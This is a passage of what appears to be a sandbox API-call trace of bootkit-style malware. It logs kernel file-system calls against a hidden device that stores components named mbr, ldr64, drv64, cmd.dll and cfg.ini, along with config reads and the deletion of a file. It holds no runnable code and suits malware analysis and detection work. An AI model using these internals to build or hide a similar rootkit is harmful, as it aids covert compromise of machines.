FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.749] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.749] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.749] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.749] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.749] IdePortDispatch () returned 0x103 [0127.749] KeWaitForMutexObject () returned 0x0 [0127.749] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.749] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.749] KeLeaveCriticalRegion () [0127.749] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.749] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.749] KeEnterCriticalRegion () [0127.749] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.749] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b99000 [0127.749] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.749] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.749] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.749] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.749] IdePortDispatch () returned 0x103 [0127.749] KeWaitForMutexObject () returned 0x0 [0127.750] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.750] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.750] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.750] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.750] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.750] IdePortDispatch () returned 0x103 [0127.750] KeWaitForMutexObject () returned 0x0 [0127.750] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.750] KeLeaveCriticalRegion () [0127.750] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.750] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.750] KeEnterCriticalRegion () [0127.750] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.750] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.750] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.750] KeLeaveCriticalRegion () [0127.750] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.750] KeEnterCriticalRegion () [0127.750] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.751] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.751] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.751] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.751] KeLeaveCriticalRegion () [0127.751] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.751] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.751] KeEnterCriticalRegion () [0127.751] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.751] ExFreePoolWithTag (P=0xfffffa8003bfcd00, Tag=0x0) [0127.751] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.751] KeLeaveCriticalRegion () [0127.751] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.751] ReleaseMutex (hMutex=0xf0) returned 1 [0127.751] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0127.751] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0127.751] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0127.751] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.751] KeEnterCriticalRegion () [0127.751] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.751] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.751] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.751] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.751] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.751] IdePortDispatch () returned 0x103 [0127.751] KeWaitForMutexObject () returned 0x0 [0127.754] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.754] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.754] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.754] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.754] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.754] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.754] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.754] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.754] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.754] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.754] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.754] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.754] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.754] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.754] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.754] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.754] KeLeaveCriticalRegion () [0127.754] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.754] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0127.754] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.754] KeEnterCriticalRegion () [0127.754] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.754] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.754] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.754] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.754] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.754] IdePortDispatch () returned 0x103 [0127.754] KeWaitForMutexObject () returned 0x0 [0127.757] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.757] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.757] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.757] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.757] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.757] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.757] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.757] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.757] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.757] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.757] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.757] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.757] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.757] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.757] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.757] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.757] KeLeaveCriticalRegion () [0127.757] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.757] ReleaseMutex (hMutex=0x100) returned 1 [0127.757] Sleep (dwMilliseconds=0x2bf20) [0127.763] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6f595510, dwHighDateTime=0x1d24fa4)) [0127.763] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0127.763] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.763] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.763] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.763] KeEnterCriticalRegion () [0127.763] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.763] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.763] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.763] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.763] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.763] IdePortDispatch () returned 0x103 [0127.763] KeWaitForMutexObject () returned 0x0 [0127.764] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.764] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.764] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.764] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.764] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.764] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfcd00 [0127.764] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.764] KeLeaveCriticalRegion () [0127.764] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.764] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.764] KeEnterCriticalRegion () [0127.764] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.764] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.764] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.764] KeLeaveCriticalRegion () [0127.764] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.764] KeEnterCriticalRegion () [0127.764] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.764] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.764] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.764] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.764] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.764] IdePortDispatch () returned 0x103 [0127.764] KeWaitForMutexObject () returned 0x0 [0127.764] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.764] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.764] KeLeaveCriticalRegion () [0127.764] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.764] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.764] KeEnterCriticalRegion () [0127.765] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.765] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c42000 [0127.765] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.765] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.765] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.765] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.765] IdePortDispatch () returned 0x103 [0127.765] KeWaitForMutexObject () returned 0x0 [0127.765] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.765] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.765] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.765] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.765] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.765] IdePortDispatch () returned 0x103 [0127.765] KeWaitForMutexObject () returned 0x0 [0127.765] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.765] KeLeaveCriticalRegion () [0127.765] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.766] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.766] KeEnterCriticalRegion () [0127.766] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.766] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.766] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.766] KeLeaveCriticalRegion () [0127.766] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.766] KeEnterCriticalRegion () [0127.766] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.766] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0127.766] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.766] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.766] KeLeaveCriticalRegion () [0127.766] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.766] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.766] KeEnterCriticalRegion () [0127.766] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.766] ExFreePoolWithTag (P=0xfffffa8003bfcd00, Tag=0x0) [0127.766] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.766] KeLeaveCriticalRegion () [0127.766] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.766] ReleaseMutex (hMutex=0xf0) returned 1 [0127.766] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.766] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.766] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.766] KeEnterCriticalRegion () [0127.766] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.766] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.766] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.766] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.766] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.766] IdePortDispatch () returned 0x103 [0127.766] KeWaitForMutexObject () returned 0x0 [0127.767] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.767] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.767] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.767] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.767] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.767] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfcc00 [0127.767] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.767] KeLeaveCriticalRegion () [0127.767] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.767] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.767] KeEnterCriticalRegion () [0127.767] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.767] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.767] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.767] KeLeaveCriticalRegion () [0127.767] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.767] KeEnterCriticalRegion () [0127.767] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.767] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.767] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.767] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.767] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.767] IdePortDispatch () returned 0x103 [0127.767] KeWaitForMutexObject () returned 0x0 [0127.769] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.769] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.769] KeLeaveCriticalRegion () [0127.769] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.769] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.769] KeEnterCriticalRegion () [0127.769] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.769] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c43000 [0127.769] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.769] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.769] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.769] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.769] IdePortDispatch () returned 0x103 [0127.769] KeWaitForMutexObject () returned 0x0 [0127.769] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.769] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.769] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.769] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.770] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.770] IdePortDispatch () returned 0x103 [0127.770] KeWaitForMutexObject () returned 0x0 [0127.770] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.770] KeLeaveCriticalRegion () [0127.770] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.770] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.770] KeEnterCriticalRegion () [0127.770] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.770] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.770] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.770] KeLeaveCriticalRegion () [0127.770] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.770] KeEnterCriticalRegion () [0127.770] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.770] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0127.771] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfb480, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.771] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.771] KeLeaveCriticalRegion () [0127.771] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.771] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.771] KeEnterCriticalRegion () [0127.771] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.771] ExFreePoolWithTag 